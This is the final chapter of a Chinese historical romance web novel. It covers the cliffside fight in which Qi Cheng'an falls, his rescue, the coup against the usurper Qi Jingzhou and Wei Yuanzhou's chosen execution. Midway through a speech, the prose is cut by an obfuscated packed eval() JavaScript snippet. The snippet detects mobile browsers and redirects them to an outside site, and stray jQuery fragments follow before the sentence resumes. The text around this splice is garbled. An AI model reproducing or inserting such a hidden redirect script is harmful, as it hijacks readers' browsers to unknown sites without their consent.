42. 终章

作品:《何处见明月

    祁承安说完便向山林中跑去,这里都是山,树木层叠,难以见路,他找了许久,什么也没见到。


    祁承安正无助,转头便见树杈上勾着一小块衣料,他连忙拿下。


    是军中斗篷,还带着血。


    祁承安忙在四周仔细查看,斗篷上带了血。血才干不久,这周围应当会有别的痕迹。


    “在这边!”祁承安对身边士兵道。


    暴雨过后,道路泥泞,血迹,脚印都会被冲刷殆尽,可这压倒的灌木和芦苇却不会骗人,看这幅样子,应是有许多人自此滚了下去。


    “这前面是哪?”祁承安问。


    “回殿下,再往前走便没什么路了是处悬崖,昨日我们来过,什么都没有发现,我们再去别处找找吧。”


    按照分析来说,程澈在另一边的可能性更大,但祁承安又一种强烈的预感,他一定要去看看,“你们先去那边找,别耽误时间,我去这前面看看,若真的什么都没有发现,很快就去找你们。”


    “好,殿下您多保重。”那士兵也不拖泥带水,行过礼后便走了。


    祁承安如愿顺着下了小山坡,入眼所见,的确如那些士兵所说,没走多久路就一眼望到了头。他站在悬崖边上,自上而下望,山崖下云雾缭绕,白气上涌,底下情况看不真切。


    祁承安随手丢了块石子下去,除碰在崖壁上发出了一声声响后便再无动静。


    果然深不见底。


    已整整过了好几日了,这些人跟在程澈身后,狗皮膏药似的,怎么都甩不掉。


    林间最是容易迷路,程澈躲在棵大树背面,抬头望天,天已经放晴了。想必杨绍他们的路也清通了,她要想办法回去找他们才是。


    “往那边跑了,快追!”身后又传来追兵的声响,程澈小心回头看去,幸好,还未见人影。


    但她看到了自己不久前才在树干上做的记号。她竟是兜兜转转又回来了。


    追兵在即,四周的路都试过了,程澈环视一圈,见有处还稍显面生,心一横就走了过去,她只能死马当活马医了。


    程澈才没走几步就又停了下来,前方没有路了,是悬崖。程澈眼前一黑,看起来她运气不太好。


    很快,程澈就听到了打斗的声音,她忙蹲下身以半人高的杂草作掩护,小心观察着。


    声音渐近,与之缠斗之人的身影,程澈看着有几分熟悉,待他们又近些,程澈才看了个分明,是祁承安。


    程澈忙起身赶过去帮他,与那些追杀她的人打了个照面。


    程澈跑到身边,“你怎么来了?”


    祁承安见她,满眼欣喜,“我来找你。皎皎,你没事就好。”他在悬崖边站着,就听有些人窸窸窣窣的脚步声。


    祁承安前去查看,见这些人各个面露凶光,手持长刀,不等他做出反应,这些人就认出了他,率先冲了过来。


    这些人训练有素,皆身着黑色劲装,哪里是什么流寇,分明就是祁景舟派来灭口的人。


    敌众我寡,程澈和祁承安背靠悬崖,却被逼的接连后退,前有死侍追兵,后有万丈悬崖,程澈枪尖趁势一挑,又将一人封喉。


    祁承安道:“你先回去,叫杨绍他们过来。”


    “不行,要走一起走。”程澈丝毫不退。


    “你与他们周旋多日,又敌众我寡,这样下去不是办法。”祁承安说着侧身一闪,那杀手刺偏了些,重心不稳,身形一滞。他趁机剑势一转,挑断了那人的手腕。


    程澈向后轻轻一退,几颗石子应势滚落悬崖。二人已是到了退无可退的地步。


    一声“将军”搅散了焦灼的气氛。是杨绍他们过来了。


    “在这儿!”程澈喊道。


    话音刚落,一支冷箭便从树林中射了出来。


    “小心!”祁承安忙将程澈扑倒,那支直指程澈咽喉的箭矢支插进了悬崖边的树干中。


    二人本就在悬崖边上,为避箭矢又往后了些,祁承安重心不稳掉了下去,被程澈一把拉住,“抓紧!”


    “松手!”祁承安焦急道。那些人挥着刀剑,眼见着就要过来了,程澈拉着他动不了,也避不开。


    程澈只拉住了他一只手,此前伤到大臂上的伤口瞬间崩裂,血珠汇聚成线,自手臂蜿蜒而下。


    “你抓紧,把另一只手给我!”


    四周嘈杂,祁承安此刻难得平静,他望着程澈笑了。随即他下定决心,另一只手用尽全力掰开程澈拉着他的手指。


    程澈一只手抓着树稳定身形,另一只拉住祁承安,她手带着血本就湿滑,祁承安一动,又往下滑了几分。


    血自手臂滑向手指,一滴,滴落在祁承安眼角。


    “我们一起回去……”


    “皎皎,替我好好活下去……”


    “不要!”


    那一刻四周嘈杂,喊杀声,叫喊声,此起彼伏。程澈只听得到他的那句话,每每午夜梦回,都是他望着自己,跌落山崖的样子。


    她似乎,再也流不出眼泪了。


    一连又过了好些日子,他们依旧驻军原地,“今后,有何打算?”杨绍问她。


    程澈摇了摇头,她不知道。


    那日程澈才回营,便有人前来通传,说有要事相告。


    据说那人才到军营时满身都是伤,将个什么东西紧紧攥在怀里,谁都不能碰,满口要见将军。


    程澈见到他时,他已经梳洗过了。见到她,那人痛哭流涕,“将军,我可算见到你了……”


    此人自称小五,是先帝身边的公公,那日祁景舟兵变,他听到了全部经过,又侥幸逃了出来,一路拿着先帝遗诏前来投奔她。


    “只是,你为何来找我?”


    “小的家里穷,当时我爹身患重病,有人好心相助,我才得以活了下来。之后小的进了宫,多方打听才知那是正要去围猎的程淮将军和将军夫人。”


    他说的声泪俱下,“整个京城都被他控制了,义父为了救我,已去了黄泉,只是生前一直叮嘱我,要将这遗诏送出去,不能让他鸠占鹊巢。我实在是别无他法,这才来找将军。”


    真是天命弄人,她如今手拿遗诏,他却不在了。


    她不只一次去悬崖下找过,希望逐渐渺小,最后,只找到了俱面目全非,穿着他那身衣服的尸体。


    刺杀,贬官,亦或收缴兵权,程澈不只明日是什么在等待她。祁景舟坐上龙椅才多少日子,已将身边的兄弟杀了个干净。程澈如今手握遗诏,却不知如何是好。


    “我知你是为我好,让我自己安静一会吧。”程澈强撑着挤出了一个笑容。


    才过了没多久,又有人推门而入。


    “何事?”程澈并未回头。


    “是我。”魏远洲道。


    “你来做什么。”


    “我有东西要给你。”魏远洲不顾程澈的奚落,自顾自的坐了下来,从怀里拿出一封信塞在了程澈手里,“你看看。”


    程澈拿到信只看了一眼便满是不可置信的抬头,是祁承安的字。


    魏远洲释然的笑了,“快些归京吧,那才是你该去的地方。”


    信中说,祁承安在京城等她。


    魏远洲说完便起身离开。


    “你呢?”程澈问。


    “我正好回京述职,和你一起回去。”


    那日,是魏远洲救了祁承安。


    他知祁景舟不会放过程澈,所以那几日都命人在各处搜寻程澈的踪影,为的是她受了伤能第一时间救她。


    魏远洲借出城之名,整日在林中暗中搜寻,那日在悬崖下,猛地传出什么掉落的声响,魏远洲忙上前查看,他本以为是程澈,没想到是魏远洲。


    那些人不见尸体定是不会死心,恰巧崖壁下有具面容尽毁,身量与祁承安差不多的尸体,魏远洲将祁承安的衣服给那人换上,将祁承安救了回去,这才保住了他的命。


    信上说,祁承安已是回京城去了。


    “现在就走!其余的路上商量。”


    “出发。”


    路上,魏远洲拿出了京城中的最新布防图。祁景舟上任后的京中部署,魏远洲全都了然于心。


    “你才回京述职了一次,对这些竟是这样清楚。”


    “那是,小爷我你还不了解吗?小爷我有的是力气和手段。”


    程澈看着眼前这个满身疲惫的人,倒也看出几分少年时的影子。她也将遗诏和那名公公所说如实相告。


    “从我第一次听他声音的时候就觉得古怪,可一时又说不出事哪里古怪,怨不得我一见他就浑身不舒服,原是如此。”


    “我说那些话,可是吓到你了?”魏远洲问。


    “我先前是愤怒的,后来冷静了左思右想,始终不相信你会与他狼狈为奸。我不信那个路见不平,必定拔刀相助的魏家小少爷,会变成那样的人。”


    二人又是好一通谋划,魏远洲指着图,“明日,你先从南门进宫,后等我信号,其余的门先不要硬闯,待禁卫军打开了再进。”


    程澈疑惑道:“何时禁军总指挥也成了我们的人?”


    魏远洲叹了一口气,“他不过也是个亲人受制于祁景舟的可怜人罢了,我将他亲人救了出来,他自然感恩。”


    那日,程澈一身金甲,立于阵前,红色披风随风猎猎作响,率兵一路畅通无阻,直捣大殿,好生威风。


    那日,她又见到了祁承安,一个活生生,不仅活在她梦中的祁承安。


    二人相视而笑,只一眼,便抵得上千言万语。


    程澈当着众人的面呈上遗诏,“臣程澈,携先帝遗诏,前来救驾!”


    虽说是兵变,却并未有多少人流血,甚至并未发出些过多的声响。程澈与魏远走里应外合,待天亮祁景舟发觉时,一切都晚了。


    “我待你不薄!为何如此对我!”祁景舟被禁军总指挥敲晕,五花大绑在了屋子内。


    “你说过,只要我忠心与你,你就会善待我的家人,可是呢?你又做了什么?我娘差点病死在家中!你极尽凉薄,自以为机关算尽,却不想终有一日害了自己!”


    禁军总指挥见他如此还是不解恨,又用刀在他身上划了好几下泄愤,做完这一切,他头也不回的离开了。


    等待他的,只有无边漫长的黑夜。


    祁景舟被关在暗无天日的屋子里,分不清白天和黑夜,他只知,门又被推开了。这次来的,是魏远洲。


    祁景舟见他,自嘲一笑,将头别到一边去,不欲与他多言。


    “你可知,你为何会输?”魏远洲蹲下身问道。


    “自古成王败寇,输了就是输了,没什么好说的。”


    “你的谋略没有问题,你是输在人心。”


    魏远洲此话一出,祁景舟立即抬起了头,斜眼望着他。


    “你总以为有了权力便可以控制一切,却忘了人有心。”


    魏远洲看着他的眼睛一字一句道:“人有心,懂进退,却也辩善恶;知荣辱,却也明是非。”


    他可操控权柄,却胁迫不了人心。这个道理,祁景舟始终都未能明白。


    “一国之君,需懂制衡之术,更需以仁治天下。你用亲友要挟了那样多的人听命于你,可想过,有今天?”


    祁景舟眼中满是不可置信,尖叫道:“不可能!”


    魏远洲知道,像祁景舟这样的人很是自负,他会哦许科技接受成王败寇,可他一定接受不了自己信奉多年的观念崩塌,接受不了自己是一个彻头彻尾,执迷不悟的失败者。


    “我没错!你骗人!”祁景舟已经变得有些疯疯癫癫了。


    “还没人告诉你吧,你的生母几经波折,又受了刺激,已经不在人世了。陛下宽宏大量,不杀你,往后每一日,你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14890441|157608||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    都会待在这暗无天日的屋子里,我要你整日不得安生,为因你私心而死的人日日忏悔。”


    这比杀了他,痛苦百倍。


    “不!”


    “你杀了我!杀了我!”


    魏远洲夺门而出,身后喊声渐小,魏远洲无暇顾及。他如今报了仇,之后,还有更重要的事要做。


    第二日一早,祁承安就找到程澈,“皎皎,出事了。”


    程澈再一次见到魏远洲时,已经是在大牢里了。


    程澈满眼皆是不可置信,她问他,“为什么?”


    魏远洲笑了,笑得释然,“祁景舟疯了,可他做的这些脏事,烂事总要查,要查,就要有人开头。新朝伊始,这个头,就由我来开吧。”


    魏远洲上书,将祁景舟这些年做的腌臜事,将他,以及诸多官员帮他一起做的腌臜事一并写在奏折里,上书陛下,请求一死。


    程澈红了眼眶,“此事可从长计议。”


    魏远洲语气轻松,“他自以为控制了我的家人,又迫我与挚友离心,我定当是他手里最听话的棋子,好早之前,小爷我就想这样做了。”


    他帮祁景舟做了那样多事,他与祁景舟,早是绑在了一根绳子上,若想拔出上朝弊病,新帝登基是最好的时候,他是最好的突破口。


    就在不久前,他还在渭州上任的时候,就去看过他的那些家人了。在他走的前一夜,他们为了不拖累他,放火焚了宅子,五十几口人,无一人生还。挚友嫌隙已解,他如今,是真的毫无牵挂了。


    虽说是狱中,可用度与其府中丝毫不减,就是狱中,少了些阳光,也只能看到好小一方天。


    程澈拉着他就要往外走,“你和我出去,总会有办法的。”


    “阿澈,我累了。”


    程澈回头,见他满眼平静。


    “随心自在,畅游山河,不一直是你的愿望吗?如今尘埃落定,我陪你一起去。”


    “我执念已解,已无挂念了。”


    山河虽美,但他累了。


    心若无念,这山川大河,秀丽风景于他而言,不过是四大皆空罢了。


    程澈背过身擦了眼泪,再转过身时,面上已带着笑,“就知道你会这样说,我带了你最喜欢的桂花酒,在你最喜欢的王记铺子买的,我陪你喝几杯。”


    魏远洲也笑了,“好,不醉不归。”


    二人说着以前的事,聊的有一搭,没一搭的。


    本想着一醉解千愁,谁料越喝越清醒。


    魏远洲喝着喝着,突然停住,“我忽然有些庆幸,如今顶着的是无既的名字,不然,魏家可要出个认贼作父的小少爷,可要折辱了我爹的风骨。”


    “魏伯伯会欣慰的,你长大了。”


    “说起来,我都有点想念我爹的唠叨了。他这么久没打我,我还真不习惯。”


    往昔固然美好,可人总要回到现实。


    “阿澈,时候不早了,回吧。”


    程澈低下头,眼泪不受控制的又落了下来。


    分明,他们已经做到了力所能及的最好,分明,已经是最好的结局了。


    可为什么,又有这样多的遗憾。


    程澈收敛情绪起身,要他多保重的话到了嘴边,却无论怎么样都说不出口。她转身出了牢房,背后又响起了魏远洲的声音,“今日就当你送过我了,明日,就别来了。”


    “好。”


    魏远洲透过小窗望向窗外,“春日景色正好,莫要辜负了春光才是。”


    程澈恍然惊觉,方才,是最后一次有人唤她‘阿澈’了。拐角处,她扶着墙壁,早已是泣不成声。


    过了拐角,程澈又闻熟悉萧声,纯粹,美好,悠扬,一如从前。


    她知道,也替他高兴,他是去寻他的心归处了。


    行刑那日,程澈如他所愿并未前去,又一连告了好几日假,在街上走着,恍惚间,她听到了酒铺子的吆喝声。


    “走过路过,不要错过啊,快来看一看,快来瞧一瞧啊,百年历史,专酿桂花酒。”


    程澈一抬眼,她竟是不知不觉走到王记酒铺了。


    “姑娘,要来尝尝吗?保证好喝,童叟无欺,不好喝不收钱的。”


    程澈正要拒绝,手却下意识的拿起了一小杯。


    清酒入喉,程澈尝出了几分甘甜,更带着几分苦涩。


    “老板,你这酒不行啊,怎么酿出来发苦。”程澈身后传来了一少年的声音。她心中欣喜,连忙回头。


    “这位客官,您有所不知,这酒啊,是用我独家秘方酿制而成,苦中回甘,方为佳酿。这酒刚酿制,放在树下时只有甜味,从地中挖出来时,酒罐极为脆弱,若此时罐有破损,那酒便会苦涩至极,难以下咽。只有出土而不破,方能出此回甘佳品。甚是难得呢。”


    “若当真这样难得,小爷我定要好好尝一尝,给我拿两坛。”


    “这位小兄弟,背着行囊可是要远行?”程澈问道。


    “是,那书院很是无趣,先生常言,读万卷书不如行万里路,小爷我这就要去游历天下,行侠仗义了。”


    听此,程澈怔愣了片刻。


    “好了,不同你说了,小爷我要去了,再不去我爹就要来抓我了,有缘再见!”那少年对程澈挥了挥手,步履轻盈,转身朝城外走去。


    程澈仿佛看到了魏远洲,一样的肆意,不羁,满身侠义之气,云游四方去了。


    春日短暂,转眼及逝,一树的桃花,转眼就不剩几朵还留在枝头了。


    程澈抬手,接住一瓣桃花,心中多少有些伤感。


    祁承安自身后搂住了程澈,“以前总听我母亲说,江南的春景最是漂亮”,他说着偏过头,靠在程澈肩上。


    “来年春日,我们一起去江南看看吧。”


    “一言为定。”


    “嗯,一言为定。”